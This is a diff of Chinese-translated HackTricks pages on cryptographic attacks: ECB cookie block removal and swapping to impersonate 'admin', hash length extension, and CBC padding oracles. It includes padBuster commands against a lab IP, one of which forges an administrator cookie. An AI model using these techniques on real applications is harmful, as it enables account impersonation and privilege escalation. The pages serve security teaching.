* [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode) * [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode)
### 萨米尔秘密共 ### Samir 秘密分
一个秘密被分成X部分要恢复它你需要Y部分_Y <= X_ 一个秘密被分成 X 部分,要恢复它你需要 Y 部分_Y <=X_
``` ```
8019f8fa5879aa3e07858d08308dc1a8b45 8019f8fa5879aa3e07858d08308dc1a8b45
80223035713295bddf0b0bd1b10a5340b89 80223035713295bddf0b0bd1b10a5340b89
803bc8cf294b3f83d88e86d9818792e80cd 803bc8cf294b3f83d88e86d9818792e80cd
``` ```
```markdown
[http://christian.gen.co/secrets/](http://christian.gen.co/secrets/) [http://christian.gen.co/secrets/](http://christian.gen.co/secrets/)
### OpenSSL 暴力破解 ### OpenSSL暴力破解
* [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl) * [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl)
* [https://github.com/carlospolop/easy_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF) * [https://github.com/carlospolop/easy\_BFopensslCTF](https://github.com/carlospolop/easy\_BFopensslCTF)
## 工具 ## 工具
@ -273,15 +296,14 @@ Key:
<details> <details>
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击成为英雄</strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
其他支持HackTricks的方式 支持HackTricks的其他方式:
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**上关注**我们。
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
```

View file

@ -1,94 +1,79 @@
<details> <details>
<summary><strong>零基础学习AWS黑客攻击直至成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong></strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式 支持HackTricks的其他方式
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
# ECB # ECB
(ECB) 电子密码本 - 对称加密方案,它将**明文的每个块**替换为**密文块**。这是**最简单**的加密方案。主要思想是将明文**分割**成**N位的块**(取决于输入数据块的大小,加密算法),然后使用唯一的密钥对每个明文块进行加密(解密) (ECB) 电子密码本 - 对称加密方案,**明文的每个块**替换为**密文块**。这是**最简单**的加密方案。主要思想是将明文分割成**N位的块**(取决于输入数据块的大小、加密算法),然后使用唯一密钥加密(解密)每个明文块
![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/ECB_decryption.svg/601px-ECB_decryption.svg.png) ![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/ECB_decryption.svg/601px-ECB_decryption.svg.png)
使用ECB有多个安全隐患 使用ECB存在多个安全问题
* **可以移除加密消息中的块** * **加密消息中的块可以被移除**
* **可以在加密消息中移动** * **加密消息中的块可以被移动**
# 检测漏洞 # 漏洞的检测
想象一下,您多次登录一个应用程序,**总是得到相同的cookie**。这是因为应用程序的cookie是**`<用户名>|<密码>`**。\ 想象一下,您多次登录一个应用程序,**总是得到相同的cookie**。这是因为应用程序的cookie是**`<用户名>|<密码>`**。\
然后,您生成了两个新用户,他们都有**相同的长密码**和**几乎相同的**用户名。\ 然后,您创建两个新用户,两者都具有**相同的长密码**和**几乎相同的用户名**。\
您发现**8B的块**中,两个用户的**信息相同的部分**是**相等的**。然后,您猜想这可能是因为**正在使用ECB**。 您发现**两个用户信息的8字节块**是**相同的**。然后,您想象这可能是因为正在使用**ECB**。
就像下面的例子。观察这**两个解码的cookie**如何多次有相同的块**`\x23U\xE45K\xCB\x21\xC8`** 就像以下示例中一样。观察这**两个解码的cookie**中多次出现的块**`\x23U\xE45K\xCB\x21\xC8`**。
``` ```
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9 \x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9 \x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
``` ```
这是因为**这些cookie中的用户名和密码包含了好几次字母“a”**(例如)。**不同的区块**是那些包含了**至少1个不同字符**的区块(可能是分隔符“|”或用户名中的一些必要差异)。 这是因为这些 cookie 的**用户名和密码中包含多次字母"a"**(例如)。**不同的区块**是包含**至少 1 个不同字符**的区块(也许是分隔符"|"或用户名中的某些必要差异)。
现在,攻击者只需发现格式是`<用户名><分隔符><密码>`还是`<密码><分隔符><用户名>`。为此,他可以**生成几个用户名**,用**相似且长的用户名和密码**,直到他找到格式和分隔符的长度: 现在,攻击者只需发现格式是`<用户名><分隔符><密码>`还是`<密码><分隔符><用户名>`。为了做到这一点,他只需**生成几个相似且较长的用户名和密码**,直到找到格式和分隔符的长度:
| 用户名长度: | 密码长度: | 用户名+密码长度: | Cookie的长度解码后: | | 用户名长度 | 密码长度: | 用户名+密码长度: | 解码后的 Cookie 长度: |
| ------------ | ---------- | ----------------- | ------------------------- | | ------------ | ---------- | ---------------- | ----------------------- |
| 2 | 2 | 4 | 8 | | 2 | 2 | 4 | 8 |
| 3 | 3 | 6 | 8 | | 3 | 3 | 6 | 8 |
| 3 | 4 | 7 | 8 | | 3 | 4 | 7 | 8 |
| 4 | 4 | 8 | 16 | | 4 | 4 | 8 | 16 |
| 7 | 7 | 14 | 16 | | 7 | 7 | 14 | 16 |
# 利用漏洞 # 漏洞的利用
## 移除整个区块 ## 移除整个区块
知道了cookie的格式`<用户名>|<密码>`),为了冒充用户名`admin`,创建一个叫做`aaaaaaaaadmin`的新用户获取并解码cookie cookie 的格式(`<用户名>|<密码>`),为了冒充用户名`admin`,创建一个名为`aaaaaaaaadmin`的新用户,获取 cookie 并解码
``` ```
\x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4 \x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
``` ```
我们可以看到之前使用只包含 `a` 的用户名创建的模式 `\x23U\xE45K\xCB\x21\xC8`。\ 我们可以看到先前使用只包含`a`的用户名创建的模式`\x23U\xE45K\xCB\x21\xC8`。\
然后,你可以移除前8字节的数据块你将得到用户名为 `admin` 的有效cookie 然后,您可以移除前8B块就可以得到用户名为`admin`的有效cookie
``` ```
\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4 \xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
``` ```
## 移动块 ## 移动块
在许多数据库中,搜索 `WHERE username='admin';` 或者 `WHERE username='admin ';` _(注意额外的空格)_ 是相同的。 在许多数据库中,搜索`WHERE username='admin';`和`WHERE username='admin ';`(注意额外的空格)是相同的。
因此,另一种冒充用户 `admin` 的方法是: 因此,另一种冒充用户`admin`的方法是:
* 生成一个用户名,使得`len(<username>) + len(<delimiter) % len(block)`。如果块大小为 `8B`你可以生成一个叫做`username ` 的用户名,使用分隔符 `|` `<username><delimiter>` 将生成两个8字节的块 - 生成一个用户名`len(<username>) + len(<delimiter) % len(block)`。使用`8B`的块大小您可以生成名为`username `的用户名,使用分隔符`|``<username><delimiter>`将生成2个8B块。
* 然后,生成一个密码,它将填充一个完整的块数,包含我们想要冒充的用户名和空格,比如:`admin ` - 然后,生成一个密码,填充包含我们想要冒充的用户名和空格的确切块数,例如:`admin `。
这个用户的cookie将由3个块组成前两个是用户名+分隔符的块,第三个是密码块(假装是用户名):`username |admin ` 该用户的cookie将由3个块组成前两个是用户名+分隔符的块,第三个是密码的块(伪装成用户名):`username |admin `。
**然后,只需将第一个块替换为最后一个块,就可以冒充用户 `admin``admin |username`** **然后,只需用最后一个块替换第一个块,就可以冒充用户`admin``admin |username`**
# 参考资料 # 参考
* [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)](http://cryptowiki.net/index.php?title=Electronic_Code_Book_\(ECB\)) * [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)](http://cryptowiki.net/index.php?title=Electronic_Code_Book_\(ECB\))
<details>
<summary><strong>从零开始学习AWS黑客技术成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
支持HackTricks的其他方式
* 如果你想在 **HackTricks** 中看到你的**公司广告**或者**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取 [**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现 [**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享你的黑客技巧**。
</details>

View file

@ -1,42 +1,42 @@
<details> <details>
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>从零开始学习 AWS 黑客攻击</strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持 HackTricks 的其他方式: 支持HackTricks的其他方式
* 如果您想**HackTricks 中看到您的公司广告****下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs 集合**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上[**关注我**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。 * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
# 攻击 # 攻击
想象一个服务器,它通过在一些已知的明文数据后**附加**一个**秘密**,然后对该数据进行哈希处理来**签名**一些**数据**。如果你知道: 想象一个服务器通过**将一个** **秘密** **附加**到一些已知的明文数据上,然后对该数据进行哈希来**签署**一些**数据**。如果您知道:
* **秘密的长度**(这也可以从给定长度范围内暴力破解) * **秘密的长度**(这也可以从给定长度范围内进行暴力破解)
* **明文数据** * **明文数据**
* **算法(并且它对这种攻击是脆弱的** * **算法(及其容易受到此攻击**
* **填充是已知的** * **填充是已知的**
* 通常使用默认的填充,所以如果满足其他三个要求,这也是满足 * 通常会使用默认填充因此如果满足其他3个要求这也是可以
* 填充根据秘密+数据的长度而变化,这就是为什么需要秘密的长度 * 填充取决于秘密+数据的长度,因此需要知道秘密的长度
那么,**攻击者**就有可能**附加** **数据**并为**之前的数据 + 附加的数据**生成有效的**签名**。 那么,攻击者可以**附加** **数据**并为**先前数据+附加数据**生成有效的**签名**。
## 如何 ## 如何实现
基本上,脆弱的算法首先通过**哈希一个数据块**来生成哈希值,然后,从**先前**创建的**哈希**(状态)出发,它们**添加下一个数据块**并**对其进行哈希处理**。 基本上,易受攻击的算法首先通过**对数据块进行哈希处理**生成哈希,然后,**从**先前创建的**哈希**(状态)开始,它们**添加下一个数据块**并**对其进行哈希处理**。
然后,假设秘密是 "secret" 而数据是 "data""secretdata" 的 MD5 是 6036708eba0d11f6ef52ad44e8b74d5b。\ 然后,想象秘密是"secret",数据是"data""secretdata"的MD5是6036708eba0d11f6ef52ad44e8b74d5b。\
如果攻击者想要附加字符串 "append",他可以: 如果攻击者想要附加字符串"append",他可以:
* 生成 64 "A" MD5 * 生成64个"A"的MD5
* 将先前初始化的哈希状态更改为 6036708eba0d11f6ef52ad44e8b74d5b * 将先前初始化的哈希状态更改为6036708eba0d11f6ef52ad44e8b74d5b
* 附加字符串 "append" * 附加字符串"append"
* 完成哈希,结果哈希将是 "secret" + "data" + "padding" + "append" 的**有效哈希** * 完成哈希处理,生成的哈希将是**对"secret" + "data" + "填充" + "append"**的有效哈希**
## **工具** ## **工具**
@ -44,19 +44,18 @@
# 参考资料 # 参考资料
你可以在 [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) 找到很好的解释这种攻击的文章 您可以在[https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)中找到对此攻击的很好解释。
<details> <details>
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>从零开始学习 AWS 黑客攻击</strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持 HackTricks 的其他方式: 支持HackTricks的其他方式
* 如果您想**HackTricks 中看到您的公司广告****下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs 集合**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上[**关注我**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。 * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>

View file

@ -1,81 +1,81 @@
<details> <details>
<summary><strong>从零到英雄学习AWS黑客攻击</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
支持HackTricks的其他方式 支持HackTricks的其他方式
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**上关注我。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
# CBC - 密码块链接 # CBC - 密码块链接
在CBC模式中**前一个加密块被用作IV**与下一个块进行XOR操作 在CBC模式中**前一个加密块被用作IV**与下一个块进行XOR运算
![CBC encryption](https://defuse.ca/images/cbc\_encryption.png) ![CBC加密](https://defuse.ca/images/cbc\_encryption.png)
要解密CBC需要执行**相反的** **操作** 要解密CBC需要执行**相反的操作**
![CBC decryption](https://defuse.ca/images/cbc\_decryption.png) ![CBC解密](https://defuse.ca/images/cbc\_decryption.png)
注意需要使用一个**加密** **密钥**和一个**IV** 注意需要使用**加密密钥**和**IV**。
# 消息填充 # 消息填充
由于加密是在**固定** **大小** **块**中执行的,通常需要在**最后** **块**中添加**填充**以补全其长度。\ 由于加密是以**固定大小的块**进行的,通常需要在**最后一个块**中进行填充以完成其长度。\
通常使用**PKCS7**,它会生成一个填充,**重复**所需**字节数**以**完成**块。例如如果最后一个块缺少3个字节填充将是`\x03\x03\x03`。 通常使用**PKCS7**,它生成一个填充,重复**所需的字节数**以**完成**该块。例如如果最后一个块缺少3个字节填充将是`\x03\x03\x03`。
让我们看看更多例子,这里有**2个长度为8字节的块** 让我们看看一个**长度为8字节的2个块**的更多示例
| 字节#0 | 字节#1 | 字节#2 | 字节#3 | 字节#4 | 字节#5 | 字节#6 | 字节#7 | 字节#0 | 字节#1 | 字节#2 | 字节#3 | 字节#4 | 字节#5 | 字节#6 | 字节#7 | | 字节 #0 | 字节 #1 | 字节 #2 | 字节 #3 | 字节 #4 | 字节 #5 | 字节 #6 | 字节 #7 | 字节 #0 | 字节 #1 | 字节 #2 | 字节 #3 | 字节 #4 | 字节 #5 | 字节 #6 | 字节 #7 |
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | | ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | 6 | **0x02** | **0x02** | | P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | 6 | **0x02** | **0x02** |
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | **0x03** | **0x03** | **0x03** | | P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | **0x03** | **0x03** | **0x03** |
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** | | P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | | P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
注意在最后一个例子中,**最后一个块已满,所以又生成了一个只有填充的块**。 请注意,在最后一个示例中,**最后一个块已满,因此另一个仅包含填充的块被生成**。
# 填充预言机 # 填充Oracle
当应用程序解密加密数据时,它首先会解密数据;然后它会移除填充。在清理填充的过程中,如果一个**无效的填充触发了可检测的行为**,你就有了一个**填充预言机漏洞**。可检测的行为可以是一个**错误**,一个**缺少结果**,或者一个**响应较慢**。 当应用程序解密加密数据时,它将首先解密数据;然后将删除填充。在清除填充时,如果**无效的填充触发可检测的行为**,则存在**填充Oracle漏洞**。可检测的行为可以是**错误**、**缺少结果**或**响应速度变慢**。
如果你检测到这种行为,你可以**解密加密数据**甚至**加密任何明文**。 如果检测到这种行为,您可以**解密加密数据**甚至**加密任何明文**。
## 如何利用 ## 如何利用
可以使用[https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster)来利用这种漏洞,或者只需 可以使用[https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster)来利用这种漏洞,或者只需执行
``` ```
sudo apt-get install padbuster sudo apt-get install padbuster
``` ```
为了测试网站的cookie是否存在漏洞可以尝试: 为了测试网站的 cookie 是否存在漏洞,您可以尝试:
```bash ```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
``` ```
**编码 0** 表示使用了 **base64**(但还有其他可用的编码,查看帮助菜单了解详情)。 **编码 0** 意味着使用 **base64**(但其他选项也可用,请查看帮助菜单)。
你还可以**利用这个漏洞来加密新数据。例如,假设 cookie 的内容是“**_**user=MyUsername**_**”,那么你可以将其更改为“\_user=administrator\_”以在应用程序内提升权限。你也可以使用 `paduster` 并指定 -plaintext** 参数来实现这一点 您还可以**滥用此漏洞来加密新数据。例如,假设 cookie 的内容是 "**_**user=MyUsername**_**",然后您可以将其更改为 "\_user=administrator\_" 并在应用程序内提升权限。您也可以使用 `paduster` 指定 `-plaintext**` 参数来执行此操作
```bash ```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator" perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
``` ```
如果网站存在漏洞,`padbuster` 将自动尝试找出填充错误发生的时刻,但你也可以使用 **-error** 参数来指示错误信息。 如果网站存在漏洞,`padbuster`将自动尝试在出现填充错误时找到漏洞,但您也可以使用**-error**参数指定错误消息。
```bash ```bash
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding" perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
``` ```
## 理论 ## 理论
**总结**您可以通过猜测可以用来创建所有**不同填充**的正确值来开始解密加密数据。然后,填充oracle攻击将通过猜测哪个是正确的值来开始从末尾到开头解密字节**创建1、2、3等填充**。 **总结**您可以通过猜测可以用来创建所有**不同填充**的正确值来开始解密加密数据。然后,填充预言攻击将从末尾向开头开始解密字节,猜测哪个值将是**创建填充为1、2、3等的正确值**。
![](<../.gitbook/assets/image (629) (1) (1).png>) ![](<../.gitbook/assets/image (629) (1) (1).png>)
假设您有一些加密文本,它占用**2个块**,由**E0到E15**的字节组成。\ 假设您有一些加密文本,占据了由**E0到E15**字节组成的**2个块**。\
为了**解密**最**后一个****E8**到**E15**),整个块通过“块密码解密”生成**中间字节I0到I15**。\ 为了解密**最后一个****E8**到**E15**),整个块通过“块密码解密”生成**中间字节I0到I15**。\
最后,每个中间字节与前一个加密字节E0到E7进行**XOR**运算。所以 最后,每个中间字节都与先前的加密字节E0到E7进行**XOR运算**。因此
* `C15 = D(E15) ^ E7 = I15 ^ E7` * `C15 = D(E15) ^ E7 = I15 ^ E7`
* `C14 = I14 ^ E6` * `C14 = I14 ^ E6`
@ -83,26 +83,26 @@ perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon
* `C12 = I12 ^ E4` * `C12 = I12 ^ E4`
* ... * ...
现在,可以**修改`E7`直到`C15`为`0x01`**,这也将是一个正确的填充。所以,在这种情况下:`\x01 = I15 ^ E'7` 现在,可以**修改`E7`直到`C15`为`0x01`**,这也将是一个正确的填充。因此,在这种情况下:`\x01 = I15 ^ E'7`
因此找到E'7就**可以计算I15**`I15 = 0x01 ^ E'7` 因此找到E'7可以**计算I15**`I15 = 0x01 ^ E'7`
允许我们**计算C15**`C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7` 使我们能够**计算C15**`C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
知道了**C15**,现在可以**计算C14**,但这次暴力破解填充`\x02\x02` 知道**C15**,现在可以**计算C14**,但这次要用` \x02\x02`来暴力破解填充
次BF与之前一样复杂因为可以计算出`E''15`的值为0x02`E''7 = \x02 ^ I15`,所以只需要找到生成**`C14`等于`0x02`**的**`E'14`**。\ 个BF与前一个一样复杂因为可以计算出值为0x02的`E''15``E''7 = \x02 ^ I15`,所以只需要找到生成**`C14`等于`0x02`**的**`E'14`**。\
